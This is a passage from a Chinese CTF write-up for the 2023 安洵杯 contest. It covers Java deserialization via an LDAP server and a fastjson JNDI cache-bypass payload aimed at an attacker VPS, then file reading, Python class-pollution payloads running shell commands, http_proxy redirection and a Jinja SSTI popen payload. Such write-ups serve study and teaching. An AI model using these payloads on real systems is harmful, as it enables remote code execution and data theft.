0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAIZXhwLmphdmEMAAcACAcAJwwAKAApAQAEY2FsYwwAKgArAQADZXhwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAACwAEAA0ADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGwALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAOAAAABAABABYAAQAcAAAAAgAdcHQACXplcm9wZWFjaHB3AQB4cQB+AA14"));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

那剩下的就是fastjson 1.2.47以下都能用的缓存绕过啦

{
	"a": {
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "ldap://vps:port/anything",
		"autoCommit": true
	}
}

本地尝试

image-20231230043238665

Swagger docs

读文档

image-20231226234244580

"definitions": {
    "UserRegistration": {
        "type": "object",
        "properties": {
            "username": {
                "type": "string"
            },
            "password": {
                "type": "string"
            }
        }
    },
    "UserLogin": {
        "type": "object",
        "properties": {
            "username": {
                "type": "string"
            },
            "password": {
                "type": "string"
            }
        }
    }
},

所以传参的参数为usernamepassword

http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}
http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}

/api-base/v0/search接口存在任意文件读取

接下来和CNSS招新赛一道题差不多

读进程

http://47.108.206.43:40476/api-base/v0/search?file=/proc/1/cmdline&type=text

读源码

http://47.108.206.43:40476/api-base/v0/search?file=/app/run.sh&type=text

http://47.108.206.43:40476/api-base/v0/search?file=/app/app.py&type=text

http://47.108.206.43:40476/api-base/v0/search?file=/app/api.py&type=text

源码中存在

def update(src, dst):
    if hasattr(dst, '__getitem__'):
        for key in src:
            if isinstance(src[key], dict):
                 if key in dst and isinstance(src[key], dict):
                    update(src[key], dst[key])
                 else:
                     dst[key] = src[key]
            else:
                dst[key] = src[key]
    else:
        for key, value in src.items() :
            if hasattr(dst,key) and isinstance(value, dict):
                update(value,getattr(dst, key))
            else:
                setattr(dst, key, value)

非预期

直接python原型链污染

官方wp给出一位师傅的wp

image-20231226234721487

我一看就知道是Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com)这一篇文章的

可惜了Boogipop大佬没试出来

image-20231226235550655

直接一把梭哈

{"__init__":{
    "__globals__":{
        "__loader__":{
            "__init__":{
                "__globals__":{
                    "sys":{
                        "modules":{
                            "jinja2":{
                                "runtime":{
                                    "exported":[
                                        "*;__import__('os').system('ls /app > /app/a');#"
                                    ]
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
}

使用前面任意文件读取

http://47.108.206.43:40476/api-base/v0/search?file=/app/a&type=text

image-20231226235051453

http://47.108.206.43:40526/api-base/v0/search?file=/app/EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG&type=text

image-20231226235119574

预期解

image-20231227135539670

很明显的ssti漏洞,我们控制请求返回的结果为payload即可

但是如何控制呢,第一想法是上面的原型链污染写文件,那还不如直接非预期呢

这里很妙的使用了http_proxy这个环境变量

http_proxy 环境变量主要是由底层 HTTP 请求库(如 requests)使用的,在requests.get时请求就会走代理

python原型链污染http_proxy

{
    "__init__":{
    	"__globals__":{
        	"os":{
            	"environ":{
                	"http_proxy":"vps_ip:port"
            	}
        	}
    	}
    }
}

然后使typetext即可,file随意

/api-base/v0/search?file=user&type=text

开启监听,收到请求

image-20231227140618936

这里我们能控制请求的响应,所以根据响应包来对应写数据

image-20231227140904083

要手动ctrl+c退出

image-20231227141137629

说到http_proxy,前面写到已发生的比赛刷题 - Zer0peach can’t think过类似的题

php 5.6.23的漏洞

CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量

Header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为HTTP_PROXY环境变量

//若返回内容中有success即可读取flag
if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {    
      echo system('/readflag');
    }
}

同样是访问本地,要控制返回结果

image-20231227141849324

然后同样做法即可

又一种方法

pankas师傅的方法

就像预期解说的要控制响应数据

那就污染Response,太强了,炸裂

"__init__": {
    "__globals__": {
        "requests": {
            "Response": {
                "text": "{{().__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('命令').read()}}"
            }
        }
    }
}

Reference

安洵DCE平台 (i-soon.net)

[第六届安洵杯网络安全挑战赛 Writeup - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/12/24/第六届安洵杯网络安全挑战赛 Writeup/)

https://mp.weixin.qq.com/s/ThIPnl2EflGXhIjSJAmZhw

Java_Zoo/CTF/axb2023.md at main · p4d0rn/Java_Zoo (github.com)


安洵杯校园赛2023
https://zer0peach.github.io/2023/12/24/安洵杯校园赛2023/
作者
Zer0peach
发布于
2023年12月24日
许可协议